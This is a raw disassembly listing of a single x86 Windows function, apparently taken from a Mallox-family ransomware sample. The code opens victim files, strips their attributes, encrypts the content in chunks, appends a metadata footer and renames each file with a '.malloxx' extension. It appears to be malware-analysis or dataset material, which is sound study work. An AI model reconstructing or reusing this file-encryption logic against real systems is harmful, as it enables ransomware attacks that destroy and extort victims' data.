Function at 0x404279
Capabilities:
Get file size
Move file
Set file attributes

Disassembly:
push 0x2fc
mov eax, 0x4214d5
call fcn.00421269
mov dword [ebp - 0x308], ecx
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, 0xff
mov ecx, dword [esi]
lea eax, [ecx - 1]
mov dword [esi], eax
test ecx, ecx
jne 0x4042b8
mov ecx, esi
call fcn.00403178
mov dword [esi], ebx
mov ecx, ebx
mov edx, dword [esi + 0x400]
mov eax, ebx
jmp 0x4042be
mov edx, dword [esi + eax*4 + 4]
mov ecx, eax
mov dword [ebp + edi*4 - 0x38], edx
inc edi
cmp edi, 4
jb 0x40429a
xor edi, edi
lea ecx, [eax - 1]
mov dword [esi], ecx
test eax, eax
jne 0x4042e6
mov ecx, esi
call fcn.00403178
mov dword [esi], ebx
mov eax, ebx
mov edx, dword [esi + 0x400]
jmp 0x4042ec
mov edx, dword [esi + ecx*4 + 4]
mov eax, ecx
mov dword [ebp + edi*4 - 0x68], edx
inc edi
cmp edi, 0xa
jb 0x4042ca
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x68]
push 8
pop ecx
lea edi, [ebp - 0x88]
mov dword [ebp - 0x18], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x158]
call fcn.00401495
lea esi, [ebp - 0x38]
xor ebx, ebx
lea edi, [ebp - 0xa8]
movsd dword es:[edi], dword [esi]
push 0x10
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp ecx, 0x10
jne 0x404376
lea esi, [ebp - 0xa8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401630
push 0xf
pop eax
mov cl, byte [ebp + eax - 0xa8]
cmp cl, 0xff
jne 0x40436b
mov byte [ebp + eax - 0xa8], 0
sub eax, 1
jns 0x404350
jmp 0x404374
inc cl
mov byte [ebp + eax - 0xa8], cl
xor ecx, ecx
mov al, byte [ebp + ecx - 0x28]
xor byte [ebp + ebx - 0x68], al
inc ebx
inc ecx
cmp ebx, 0x28
jb 0x40432d
mov esi, dword [ebp - 0x308]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x404467
cmp eax, 0x20
jne 0x40440c
mov edi, 0x42fb08
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [ebp - 0x40]
call fcn.00406c9a
and dword [ebp - 4], 0
mov ecx, dword [0x42fb38]
push eax
cmp ecx, dword [0x42fb3c]
je 0x4043f2
call fcn.00406c64
add dword [0x42fb38], 0x18
jmp 0x4043f8
push ecx
call fcn.00406ddd
lea ecx, [ebp - 0x40]
call fcn.00406c39
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x404847
cmp eax, 5
jne 0x404847
lea ebx, [eax + 0x7b]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push ebx
push 3
push 0
push 1
push 0xc0000000
push esi
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404467
mov ecx, esi
call fcn.00404043
test al, al
je 0x404847
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404847
and dword [ebp - 0x98], 0
lea eax, [ebp - 0x98]
and dword [ebp - 0x94], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x404840
mov esi, dword [ebp - 0x94]
test esi, esi
jl 0x404840
mov edi, dword [ebp - 0x98]
jg 0x4044ad
cmp edi, 0x2710
jb 0x404840
push 0x64
pop eax
push 0
push eax
push esi
push edi
mov dword [ebp - 0x300], eax
call fcn.00421320
cmp dword [ebp + 0x14], 0
mov ecx, edx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2fc], ecx
je 0x404539
cmp esi, dword [0x43092c]
jl 0x404539
jg 0x4044e6
cmp edi, dword [0x430928]
jbe 0x404539
mov ecx, esi
mov esi, dword [0x430928]
mov eax, esi
mov edx, dword [0x43092c]
mov dword [ebp - 0x2f4], esi
mov esi, 0x430928
mov dword [ebp - 0x2ec], edx
push ebx
mov ebx, edi
lock cmpxchg8b qword [esi]
mov edi, ebx
pop ebx
cmp eax, dword [ebp - 0x2f4]
jne 0x4044e8
cmp edx, dword [ebp - 0x2ec]
jne 0x4044e8
mov esi, dword [ebp - 0x94]
mov edi, dword [ebp - 0x98]
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2fc]
push 0
push 0x64
push ecx
push eax
call fcn.00421320
and dword [ebp - 0x2ec], 0
imul eax, eax, 0x28
and eax, 0xfffff000
mov dword [ebp - 0x2f0], eax
test esi, esi
jg 0x404573
jl 0x404567
cmp edi, 0x19000
ja 0x404573
mov dword [ebp - 0x2ec], 1
jmp 0x4045b1
mov ecx, 0x1000
cmp eax, ecx
jb 0x404585
mov ecx, 0x12c00000
cmp eax, ecx
jbe 0x4045b1
push 0
push ecx
push esi
push edi
mov dword [ebp - 0x2f0], ecx
call fcn.00421320
push 0
push eax
push esi
push edi
mov dword [ebp - 0x300], eax
call fcn.00421320
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x2f8], eax
push 0x190
lea eax, [ebp - 0x2e8]
push 0
push eax
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x2e8]
push 0x100
push eax
push 2
pop eax
mov edx, eax
call fcn.00408470
pop ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2e8]
call fcn.004087c0
pop ecx
pop ecx
xor ecx, ecx
xor edi, edi
xorps xmm0, xmm0
mov dword [ebp - 0x304], ecx
movlpd qword [ebp - 0x18], xmm0
cmp dword [ebp - 0x2ec], ecx
je 0x4046c8
mov eax, dword [ebp - 0x98]
push eax
mov dword [ebp - 0x2f4], eax
call fcn.00415646
mov esi, eax
pop ecx
test esi, esi
je 0x40481c
lea eax, [ebp - 0x8c]
mov edx, esi
push eax
push dword [ebp - 0x2f4]
mov ecx, ebx
call fcn.00404239
and dword [ebp - 0x2ec], edi
lea eax, [ebp - 0x2ec]
push eax
push dword [ebp - 0x8c]
mov edx, esi
lea ecx, [ebp - 0x2e8]
push esi
push dword [ebp - 0x8c]
call fcn.004089b0
add esp, 0x18
test eax, eax
jne 0x404693
push ecx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2ec]
push eax
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.00408be0
add esp, 0x10
test eax, eax
jne 0x4046c2
push dword [ebp - 0x14]
xor edx, edx
mov ecx, ebx
push dword [ebp - 0x18]
call fcn.004041b9
pop ecx
pop ecx
test eax, eax
je 0x4046c2
lea eax, [ebp - 0x8c]
mov edx, esi
push eax
push dword [ebp - 0x8c]
mov ecx, ebx
call fcn.004041f9
pop ecx
pop ecx
mov edi, eax
push esi
jmp 0x404816
mov esi, dword [ebp - 0x2f0]
push esi
call fcn.00415646
mov dword [ebp - 0x2f0], eax
pop ecx
test eax, eax
je 0x40481c
xor ecx, ecx
mov dword [ebp - 0x304], ecx
cmp dword [ebp - 0x300], ecx
jbe 0x404815
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x14], edx
push ecx
push edx
xor edx, edx
mov ecx, ebx
call fcn.004041b9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40480f
mov edx, dword [ebp - 0x2f0]
lea eax, [ebp - 0x8c]
push eax
push esi
mov ecx, ebx
call fcn.00404239
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40480f
cmp dword [ebp - 0x8c], esi
jne 0x40480f
and dword [ebp - 0x2f4], 0
lea eax, [ebp - 0x2f4]
push eax
push dword [ebp - 0x8c]
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2e8]
push eax
push dword [ebp - 0x8c]
mov edx, eax
call fcn.004089b0
add esp, 0x10
test eax, eax
jne 0x40479e
push ecx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2f4]
push eax
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.00408be0
add esp, 0x10
test eax, eax
jne 0x4047d8
push dword [ebp - 0x2ec]
xor edx, edx
mov ecx, ebx
push dword [ebp - 0x14]
call fcn.004041b9
pop ecx
pop ecx
test eax, eax
je 0x4047d8
mov edx, dword [ebp - 0x2f0]
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x8c]
mov ecx, ebx
call fcn.004041f9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40480f
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2ec]
adc ecx, dword [ebp - 0x2fc]
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x304], eax
cmp eax, dword [ebp - 0x300]
jb 0x404706
mov eax, dword [ebp - 0x2f0]
push eax
call fcn.0041562b
pop ecx
lea ecx, [ebp - 0x2e8]
call fcn.00408d40
mov eax, dword [ebp - 0x304]
test eax, eax
jne 0x40484d
test edi, edi
jne 0x40484d
push 8
pop ecx
lea edi, [ebp - 0x88]
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00421227
ret
mov edx, dword [ebp - 0x94]
lea esi, [ebp - 0x68]
mov dword [ebp - 0x104], eax
lea edi, [ebp - 0xf8]
mov eax, dword [ebp - 0x98]
xorps xmm0, xmm0
push 0xa
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
pop ecx
mov dword [ebp - 0x108], 0x1020102
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x38]
movlpd qword [ebp - 0x18], xmm0
lea edi, [ebp - 0xd0]
movsd dword es:[edi], dword [esi]
push 8
pop ecx
push dword [ebp - 0x14]
movsd dword es:[edi], dword [esi]
push dword [ebp - 0x18]
push 2
movsd dword es:[edi], dword [esi]
pop eax
mov edx, eax
movsd dword es:[edi], dword [esi]
mov esi, 0x42f98c
lea edi, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 0xa0], 0x3040304
call fcn.004041b9
lea eax, [ebp - 0x8c]
mov ecx, ebx
push eax
push 0x6c
lea edx, [ebp - 0x108]
call fcn.004041f9
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x308]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
push str..malloxx
mov esi, eax
call edi
xor ecx, ecx
push 2
pop edx
lea edi, [eax + 1]
add edi, esi
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00415646
mov esi, eax
pop ecx
test esi, esi
je 0x404847
push str..malloxx
push ebx
push 0x42aad4
push edi
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
call fcn.0041562b
pop ecx
jmp 0x404847